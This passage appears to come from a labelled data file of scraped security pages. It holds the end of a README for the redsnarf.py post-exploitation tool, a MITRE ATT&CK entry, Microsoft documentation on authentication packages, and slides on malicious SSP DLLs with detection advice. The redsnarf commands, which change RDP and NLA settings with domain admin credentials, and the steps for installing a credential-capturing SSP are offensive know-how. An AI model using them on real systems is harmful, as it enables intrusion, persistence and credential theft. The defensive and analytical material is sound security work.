remote machine user session using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uL y RDP Enable RDP on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR e Disable RDP on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR d Query RDP status on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR q Change RDP Port from 3389 to 443 - Change RDP Port to 443 on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT e Change RDP Port to default of 3389 on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT d Query RDP Port Value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT q Enable Multi-RDP with Mimikatz ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uR y Enable RDP SingleSessionPerUser on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rM e Disable RDP SingleSessionPerUser on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rM d Query RDP SingleSessionPerUser status on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rM q NLA Enable NLA on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN e Disable NLA on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN d Query NLA status on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN q \xc2\xa9 2019 GitHub, Inc. Terms Privacy Security Status Help Contact GitHub Pricing API Training Blog About You can\xe2\x80\x99t perform that action at this time. You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Authentication Package - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Authentication Package Authentication Package Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. [1] Adversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of ""Authentication Packages""=. The binary will then be executed by the system when the authentication packages are loaded. ID:\xc2 T1131 Tactic: Persistence Platform:\xc2 Windows Permissions Required:\xc2 Administrator Data Sources:\xc2 DLL monitoring, Windows Registry, Loaded DLLs Version:\xc2 1.0 Mitigations Mitigation Description Privileged Process Integrity Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all DLLs loaded by LSA to be signed by Microsoft. Examples Name Description Flame Flame can use Windows Authentication Packages for persistence. [2] Detection Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. [3] [4] References Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017. sKyWIper Analysis Team. (2012, May 31). sKyWIper (a.k.a. Flame a.k.a. Flamer): A complex malware for targeted attacks. Retrieved September 6, 2018. Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017. Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Authentication Packages - Windows applications | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Authentication Packages 05/31/2018 2 minutes to read In this article Authentication packages are contained in dynamic-link libraries. The Local Security Authority (LSA) loads authentication packages by using configuration information stored in the registry. Loading multiple authentication packages permits the LSA to support multiple logon processes and multiple security protocols. Logon processes use authentication packages to analyze logon data. New logon processes are added to a system by adding a GINA to collect the required logon data and, if needed, by adding a new authentication package to analyze the data. Security protocols are implemented by authentication packages. An authentication package analyzes logon data by following the rules and procedures set forth in a security protocol. Authentication packages are responsible for the following tasks: Analyzing logon data to determine whether a security principal is allowed to log on to a system. Establishing a new logon session and creating a unique logon identifier for the successfully authenticated principal. Passing security information to the LSA for the principal's security token. When a user attempts an interactive logon, the LSA calls an authentication package to determine whether to permit the user to log on. MSV1_0, for example, is an authentication package installed with the Microsoft Windows operating system. The MSV1_0 package accepts a user name and a hashed password. It looks up the user name and hashed password combination in the Security Accounts Manager (SAM) database. If the logon data matches the stored credentials, the authentication package permits the logon to succeed. After successfully authenticating a security principal's credentials, an authentication package is responsible for creating a new LSA logon session for the principal and allocating the logon identifier that uniquely identifies the logon session. The authentication package may associate credential information with the logon session for subsequent authentication requests. For example, the MSV1_0 authentication package (provided by Microsoft) associates the user account name and a hash of the user's password with each logon session. The authentication package also provides a set of security identifiers (SIDs) and other information appropriate for inclusion in the security token created by the LSA. This token will represent the principal's security context for access to Windows operations. After a logon session is created and associated with a principal, subsequent authentication requests made on behalf of the principal are handled differently than the initial logon. The authentication package does not create a new logon session nor return information for creating a token. The authentication package can, however, associate supplemental credentials obtained during a subsequent authentication with the principal's existing logon session. Supplemental credentials are obtained when access to a requested resource requires information beyond the credentials established by the initial logon. For example, when a logged-on user requests a Novell network logon, a Novell-specific authentication package can be called and Novell-specific credentials can be authenticated and associated with the logon session. These credentials can be referenced by a Novell redirector (by way of the Novell authentication package) when the user accesses the Novell network. The following topics discuss the various types of authentication packages: Windows Authentication Packages Security Support Provider/Authentication Packages Authentication Packages Provided by Microsoft Subauthentication Packages \xc2 \xc2 Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Analysis of Malicious Security Support Provider DLLs - PDF Log in Registration Search for Analysis of Malicious Security Support Provider DLLs SHARE HTML DOWNLOAD Save this PDF as: \xc2 WORD \xc2 PNG \xc2 TXT \xc2 JPG Size: px Start display at page: Download ""Analysis of Malicious Security Support Provider DLLs"" Error: Download Document Horatio Patrick 3 years ago Views: Transcription 1 Analysis of Malicious Security Support Provider DLLs Matt Graeber October 7, 2014 Introduction Matt Graeber FireEye Labs Advanced Reverse Engineering (FLARE) Team Malware Analyst Instructor Past Researcher US Army Red Team \xe4\xb8\xad \xe6\x96\x87 \xe7\xbf\xbb \xe8\xaf\x91 Reformed certification hoarder For fun PowerShell! PowerSploit Twitter 2 2 Goals What are security support providers (SSP) Local security authority (LSA)/SSP architecture SSPs from an attacker s perspective Legitimate SSPs SSP internals Installation Detection Mitigation Obligatory IDA screenshot Obligatory PowerShell screenshot 3 Background A malicious security support provider (SSP) DLL was found recently during a recent IR engagement. Searching for SpLsaModeInitialize a required SSP DLL export, yielded only two unique hits in our internal malware database. The uniqueness of this type of malware warranted additional investigation 4 3 Definitions A security support provider (SSP) a.k.a security package: A user-mode security extension used to perform authentication during a client/server exchange. e.g. schannel (SSL) An authentication package (AP) Used to extend interactive logon authentication e.g. Enable RSA token authentication SSP/AP Can serve the tasks of SSPs and APs. Loaded in lsass. e.g. kerberos and msv1_0 (NTLM) 5 LSA Extensible Architecture The Local Security Authority (LSA) is responsible for nearly all aspects of local security on a system Authenticate and log on users Manage credentials SAM/NTDS/etc. Built-in support for message privacy and integrity LSA is extensible SSP/APs are loaded into LSA (lsass.exe) at boot Custom SSP/APs can either replace or proxy existing providers. 6 4 SSPI Architecture - Legitimate Client App Secur32.dll InitSecurityInterface QuerySecurityPackageInfo AcquireCredentialsHandle InitializeSecurityContext DecryptMessage EncryptMessage LSA kerberos msv1_0 wdigest 7 SSPI Architecture - Malicious Malicious Client App Secur32.dll Named Pipe Shared Memory LSA InitSecurityInterface QuerySecurityPackageInfo AcquireCredentialsHandle InitializeSecurityContext DecryptMessage EncryptMessage kerberos msv1_0 wdigest maliciousssp 8 5 SSP Benefits from an Attacker s Perspective Once installed, your DLL is loaded into lsass.exe! i.e. no need to inject into lsass.exe Not a well-known persistence mechanism Once loaded into lsass, you are handed an officially supported credential capture API. i.e. officially supported, Mimikatz-like functionality without needing Mimikatz 9 Common Legitimate SSPs Microsoft msv1_0.dll kerberos.dll negoexts.dll wsauth.dll 3 rd Party wsauth.dll VMWare Horizon View CTXAUTH.dll Citrix schannel.dll TSpkg.dll msoidssp.dll pku2u.dll etc. phonefactorlsa.dll PhoneFactor 10 6 LSA SSP Initialization Procedure 1. Inform LSA of SSP implemented functions 2. Inform SSP of available LSA support functions 11 SSP Development - Requirements Minimum required functions* 1. SpInitialize 2. SpShutDown 3. SpGetInfo Required Export 12 7 SSP Development - Implementation NTSTATUS NTAPI SpLsaModeInitialize( _In_ ULONG LsaVersion, _Out_ PULONG PackageVersion, _Out_ PSECPKG_FUNCTION_TABLE *pptables, _Out_ PULONG pctables ); Called by LSA when your SSP DLL is loaded. Only required export function Informs LSA of the functions your SSP DLL implements via PSECPKG_FUNCTION_TABLE LSA expects at a minimum, the following in PSECPKG_FUNCTION_TABLE: SpInitialize typedef struct SECPKG_FUNCTION_TABLE {... SpShutDown SpInitializeFn *Initialize; SpGetInfo SpShutdownFn *Shutdown; SpGetInfoFn SpAcceptCredentialsFn SpGetCredentialsFn SpGetUserInfoFn SpAddCredentialsFn SpSetExtendedInformationFn... } SECPKG_FUNCTION_TABLE, *PSECPKG_FUNCTION_TABLE; *GetInfo; *AcceptCredentials; *GetCredentials; *GetUserInfo; *AddCredentials; *SpChangeAccountPasswordFn; 13 SSP Development - Implementation NTSTATUS SpInitialize( _In_ ULONG_PTR PackageId, _In_ PSECPKG_PARAMETERS Parameters, _In_ PLSA_SECPKG_FUNCTION_TABLE FunctionTable ); Called by LSA after SpLsaInitialize Informs your SSP DLL the available LSA functions via PLSA_SECPKG_FUNCTION_TABLE typedef struct _LSA_SECPKG_FUNCTION_TABLE {... PLSA_GET_CREDENTIALS GetCredentials; PLSA_OPEN_SAM_USER OpenSamUser; PLSA_GET_USER_CREDENTIALS GetUserCredentials; PLSA_GET_USER_AUTH_DATA GetUserAuthData; PLSA_UPDATE_PRIMARY_CREDENTIALS UpdateCredentials; PLSA_GET_AUTH_DATA_FOR_USER GetAuthDataForUser; CredReadDomainCredentialsFn *CrediReadDomainCredentials; PLSA_PROTECT_MEMORY LsaProtectMemory; PLSA_PROTECT_MEMORY LsaUnprotectMemory; PLSA_GET_SERVICE_ACCOUNT_PASSWORD GetServiceAccountPassword;... } LSA_SECPKG_FUNCTION_TABLE, *PLSA_SECPKG_FUNCTION_TABLE; 14 8 SSP Development - Implementation NTSTATUS SpShutDown(void); Called at system shutdown Can simply return NULL lsass.exe will crash if this if not implemented 15 SSP Development - Implementation NTSTATUS SpGetInfo(_Out_ PSecPkgInfo PackageInfo); Provides general information about a security package Can return the following info: Name Description Capabilities etc. Must be implemented but it doesn t need to do anything. 16 9 SSP Installation 1.Copy the SSP DLL to %windir%\\system32 Note: Because the DLL is loaded into lsass, it must be compiled for the same architecture as lsass.exe 2.Add the file name (without extension) to: HKLM\\SYSTEM\\CurrentControlSet\\Control \\Lsa\\Security Packages HKLM\\SYSTEM\\CurrentControlSet\\Control \\Lsa\\OSConfig\\Security Packages 3. Optional: Load it into lsass immediately by calling secur32!addsecuritypackage 4. Reboot 17 Malicious SSP PoC mimilib SSP Benjamin Delpy recently added SSP functionality to mimilib.dll. He has yet to document or heavily advertise this functionality. Once installed and loaded into lsass.exe, it captures passwords in plaintext. This is achieved with the SpAcceptCredential callback function. 18 10 Malicious SSP PoC mimilib SSP 19 Malicious SSP PoC mimilib SSP %windir%\\system32\\kiwissp.log [ :000003e7] [ ] WORKGROUP\\WIN-LOI4CUIDKP1$ (SYSTEM) [ :000003e4] [ ] WORKGROUP\\WIN-LOI4CUIDKP1$ (NETWORK SERVICE) [ :000003e4] [ ] WORKGROUP\\WIN-LOI4CUIDKP1$ (NETWORK SERVICE) [ :000003e7] [ ] WORKGROUP\\WIN-LOI4CUIDKP1$ (SYSTEM) [ :000003e7] [ ] WORKGROUP\\WIN-LOI4CUIDKP1$ (SYSTEM) [ :000527ee] [ ] WIN-LOI4CUIDKP1\\anonymous (anonymous) badpassword [ : ] [ ] WIN-LOI4CUIDKP1\\anonymous (anonymous) badpassword [ :00065d64] [ ] WIN-LOI4CUIDKP1\\anonymous (anonymous) badpassword [ :00065d7a] [ ] WIN-LOI4CUIDKP1\\anonymous (anonymous) badpassword [ :000003e5] [ ] \\ (LOCAL SERVICE) [ :000003e4] [ ] WORKGROUP\\WIN-LOI4CUIDKP1$ (NETWORK SERVICE) [ :000003e4] [ ] WORKGROUP\\WIN-LOI4CUIDKP1$ (NETWORK SERVICE) [ :000003e5] [ ] \\ (LOCAL SERVICE) [ :000003e4] [ ] WORKGROUP\\WIN-LOI4CUIDKP1$ (NETWORK SERVICE) [ :000003e4] [ ] WORKGROUP\\WIN-LOI4CUIDKP1$ (NETWORK SERVICE) 20 11 Malicious SSP Mitigations Prevention Windows 8.1/Server 2012 R2 running Secure Boot with UEFI: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa \\RunAsPPL (DWORD) = 1 Makes lsass a protected process. Forces SSP DLLs to be co-signed by Microsoft. With Secure Boot (w/ UEFI) enabled, RunAsPPL is set as a UEFI secure variable and cannot be deleted. 21 Malicious SSP Detection Windows 8.1/Server 2012 R2 only Generate event logs upon loading of an unsigned lsass module: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe AuditLevel = 8 (REG_DWORD) Reboot When an unsigned SSP is loaded, either of the following events will trigger: 12 Malicious SSP Detection Detection Whitelist legitimate SSP DLLs. Alert when HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages or HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\S ecurity Packages is modified to contain an SSP not in the whitelist. Alert on any DLLs that export SpLsaModeInitialize that are not in the whitelist. MIGHT be present under LSA Providers in Sysinternals Autoruns 23 Malicious SSP Mitigations Removal Remove the SSP from the following reg keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Sec urity Packages HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSC onfig\\security Packages Delete the DLL from %windir%\\system32 Call secur32!deletesecuritypackage? Oops! MS forgot to implement that function. Reboot 24 13 Malicious SSP Mitigations 25 References Registering SSP/AP DLLs Configuring Additional LSA Protection LSA Mode Initialization Mimikatz PoC SSP 26 14 Merci!!! Thank you Benjamin Delpy for the following: 1. Performing all the original research on malicious SSPs 2. Writing a PoC malicious SSP 3. Writing Mimikatz! <3 4. Patiently and enthusiastically answering all my dumb questions. 27 QUESTIONS? 28 Similar documents Who DIT It? Detecting and Mitigating Privilege Escalation Attacks on the Active Directory Data Store Who DIT It? Detecting and Mitigating Privilege Escalation Attacks on the Active Directory Data Store Mike Middleton Justin Prosco Mandiant, A FireEye Company Mike Middleton Principal Consultant Joined More information give me the password and I'll rule the world dpapi, what else? give me the password and I'll rule the world dpapi, what else? who am I? A question I often ask to myself let socials do the job. Francesco Picasso Reality Net System Solutions @dfirfpi blog.digital-forensics.it More information mimikatz 2.0 Benjamin DELPY `gentilkiwi` mimikatz 2.0 Benjamin DELPY `gentilkiwi` Our little story `whoami`, why am I doing this? mimikatz 2.0 & sekurlsa Focus on Windows 8.1 et 2012r2 Kerberos & strong authentication Questions / Answers And More information Configuring Authentication for Microsoft Windows Chapter 4 Configuring Authentication for Microsoft Windows In this chapter: Storing and Transmitting Credentials..............................69 Storing Secrets in Windows......................................83 More information Pass-the-Hash II: Admin s Revenge. Skip Duckwall & Chris Campbell Pass-the-Hash II: Admin s Revenge Skip Duckwall & Chris Campbell Do you know who I am? Skip Co-presented PTH talk last year at BH, Derbycon http://passing-the-hash.blogspot.com @passingthehash on twitter More information Michael Mayer-Gishyan NSA IT Consulting e.u. @mike_srv02 mmg@nsa.co.at http://nsa.co.at. From Zero to Hero. Domain Admin in einem Tag Michael Mayer-Gishyan NSA IT Consulting e.u. @mike_srv02 mmg@nsa.co.at http://nsa.co.at From Zero to Hero Domain Admin in einem Tag Agenda Vita Introduction to NTLM and Kerberos Pass-the-Hash Techniques More information Red vs. Blue: Modern Active Directory Attacks, Detection, & Protection Red vs. Blue: Modern Active Directory Attacks, Detection, & Protection Sean Metcalf (@PyroTek3) CTO, DAn Solutions sean [@] dansolutions _._com DAnSolutions.com ADSecurity.org ABOUT Chief Technology Officer More information Windows security for n00bs part 1 Security architecture & Access Control Grenoble INP Ensimag _ (in)security we trust _!! SecurIMAG 2011-05-12 Windows security for n00bs part 1 Security architecture & Access Control Description: whether you are in favor or against it, the Windows More information Persistence Mechanisms as Indicators of Compromise Persistence Persistence Mechanisms as Indicators of Compromise An automated technology for identifying cyber attacks designed to survive indefinitely the reboot process on PCs White Paper Date: October More information Red vs. Blue: Modern Active Directory Attacks, Detection, & Protection Red vs. Blue: Modern Active Directory Attacks, Detection, & Protection Sean Metcalf (@PyroTek3) CTO, DAn Solutions sean [@] dansolutions _._com http://dansolutions.com http://www.adsecurity.org ABOUT Chief More information MS-55096: Securing Data on Microsoft SQL Server 2012 MS-55096: Securing Data on Microsoft SQL Server 2012 Description The goal of this two-day instructor-led course is to provide students with the database and SQL server security knowledge and skills necessary More information STARTER KIT. Infoblox DNS Firewall for FireEye STARTER KIT Introduction Infoblox DNS Firewall integration with FireEye Malware Protection System delivers a unique and powerful defense against Advanced Persistent Threats (APT) for business networks. More information Hacker s Perspective on your Windows Infrastructure: Windows 10 Mandatory Check List Hacker s Perspective on your Windows Infrastructure: Windows 10 Mandatory Check List Paula Januszkiewicz CQURE: CEO, Penetration Tester CQURE Offices: New York, Dubai, Warsaw MVP: Enterprise Security, More information VMware Horizon View for SMS PASSCODE SMS PASSCODE 2014 VMware Horizon View for SMS PASSCODE SMS PASSCODE 2014 VMware View Radius authentication configuration for SMS PASSCODE With the introduction of RADIUS authentication support in VMware View it is possible More information Windows 2000 Security Architecture. Peter Brundrett Program Manager Windows 2000 Security Microsoft Corporation Windows 2000 Security Architecture Peter Brundrett Program Manager Windows 2000 Security Microsoft Corporation Topics Single Sign-on Kerberos v5 integration Active Directory security Delegation of authentication More information Securing Data on Microsoft SQL Server 2012 Securing Data on Microsoft SQL Server 2012 Course 55096 The goal of this two-day instructor-led course is to provide students with the database and SQL server security knowledge and skills necessary to More information 70 299 Implementing and Administering Security in a Microsoft Windows Server 2003 Network 70 299 Implementing and Administering Security in a Microsoft Windows Server 2003 Network Course Number: 70 299 Length: 1 Day(s) Course Overview This course is part of the MCSA training.. Prerequisites More information Detecting Malware With Memory Forensics. Hal Pomeranz SANS Institute Detecting Malware With Memory Forensics Hal Pomeranz SANS Institute Why Memory Forensics? Everything in the OS traverses RAM Processes and threads Malware (including rootkit technologies) Network sockets, More information Locking down a Hitachi ID Suite server Locking down a Hitachi ID Suite server 2016 Hitachi ID Systems, Inc. All rights reserved. Organizations deploying Hitachi ID Identity and Access Management Suite need to understand how to secure its runtime More information Creating a User Profile for Outlook 2013 Creating a User Profile for Outlook 2013 This document tells you how to create a user profile for Outlook 2013 on your computer (also known as the Outlook client). This is necessary, for example, when More information Administering a SQL Database Infrastructure (MS- 20764) Administering a SQL Database Infrastructure (MS- 20764) Length: 5 days Overview About this course This five-day instructor-led course provides students who administer and maintain SQL Server databases More information Session 17 Windows 7 Professional DNS & Active Directory(Part 2) Session 17 Windows 7 Professional DNS & Active Directory(Part 2) Fall 2011 ITE153 Operating Systems 1 Session 17 Windows 7 Professional Operating in Microsoft Networks Fall 2011 ITE153 Operating Systems More information Windows XP Exchange Client Installation Instructions WINDOWS XP with Outlook 2003 or Outlook 2007 1. Click the Start button and select Control Panel: 2. If your control panel looks like this: Click Switch to Classic View. 3. Double click Mail. 4. Click show More information Pass-the-Hash: How Attackers Spread and How to Stop Them Pass-the-Hash: How Attackers Spread and How to Stop Them SESSION ID: HTA-W03 Mark Russinovich Technical Fellow Microsoft Corporation Nathan Ide Principal Development Lead Microsoft Corporation Pass-the-Hash: More information This report is a detailed analysis of the dropper and the payload of the HIMAN malware. PAGE 5 Check Point Malware Research Group HIMAN Malware Analysis December 12, 2013 Researcher: Overview This report is a detailed analysis of the dropper and the payload of the HIMAN malware. This malware More information K7 Mail Security FOR MICROSOFT EXCHANGE SERVERS. v.109 K7 Mail Security FOR MICROSOFT EXCHANGE SERVERS v.109 1 The Exchange environment is an important entry point by which a threat or security risk can enter into a network. K7 Mail Security is a complete More information Entrust Managed Services PKI Entrust Managed Services PKI Entrust Managed Services PKI Windows Smart Card Logon Configuration Guide Using Web-based applications Document issue: 1.0 Date of Issue: June 2009 Copyright 2009 Entrust. More information Security in the Sauce Labs Cloud. Practices and protocols used 